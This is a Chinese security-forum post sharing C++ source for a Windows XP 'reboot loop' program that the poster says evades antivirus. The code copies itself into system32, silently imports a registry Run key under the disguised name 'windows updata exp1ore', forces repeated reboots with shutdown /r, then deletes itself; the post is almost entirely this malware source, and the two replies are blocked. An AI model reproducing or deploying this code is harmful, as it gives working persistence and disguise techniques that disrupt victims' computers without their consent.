瑞星卡卡安全论坛技术交流区可疑文件交流 网上发现xp循环重启文件的C++【源码】,似乎过所有杀软

1   1  /  1  页   跳转

网上发现xp循环重启文件的C++【源码】,似乎过所有杀软

网上发现xp循环重启文件的C++【源码】,似乎过所有杀软

#include <iostream>
#include <cstdlib>
#include <string>
#include <fstream>
using namespace std;
const int justNumbers = 3;  //这里变量改为重启次数
int main(int argc,char *argv[])
{
char dos_copy[150]="copy ";
strcat(dos_copy,"\"");
strcat(dos_copy,argv[0]);
strcat(dos_copy,"\"");
strcat(dos_copy," \"c:\WINDOWS\system32\zv.exe\"");
system(dos_copy);

fstream outfiles;
outfiles.open("C:\WINDOWS\system32\zshut.reg",ios::out);
if (!outfiles)
{
  cout << "失败!"<< endl;
  abort();
}
outfiles << "Windows Registry Editor Version 5.00" << endl;
outfiles << "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]" <<endl;
        outfiles << "\"windows updata exp1ore\"=\"C:\WINDOWS\system32\zv.exe\"";
outfiles.close();
        system("regedit/s C:\WINDOWS\system32\zshut.reg");

        fstream infiles;
infiles.open("zzz.txt",ios::in);
if (!infiles)
{
  fstream outfiles;
  outfiles.open("zzz.txt",ios::out);
  if (!outfiles)
  {
  cout << "失败!" << endl;
  abort();
  }
  int i = 1;
  outfiles << i;
  outfiles.close();
}
int number = 0;
infiles >> number;
number += 1;
fstream outfilelast;
outfilelast.open("zzz.txt",ios::out);
if (!outfilelast)
{
  cout << "失败!" << endl;
  abort();
}
        outfilelast << number;
        outfilelast.close();
if (number <= justNumbers )
    {
  for (int i = 0; i < 10; i++)
  {
            cout << "模拟病毒程序,您将自动从启" << justNumbers <<"次,本程序自动删除!" <<endl;
      cout << "这是您几 " <<number<< " 次重启." << endl;
  }
  system("shutdown /r");
    }
    else
    {
  system("del c:\WINDOWS\system32\zv.exe");
  cout << "好了,您的电脑" << justNumbers <<" 次从启完闭,不好意思.打扰了!" <<endl;
    }
system("pause");
return 0;
}

用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
分享到:
gototop
 

回复:网上发现xp循环重启文件的C++【源码】,似乎过所有杀软

该用户帖子内容已被屏蔽
gototop
 

回复:网上发现xp循环重启文件的C++【源码】,似乎过所有杀软

该用户帖子内容已被屏蔽
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT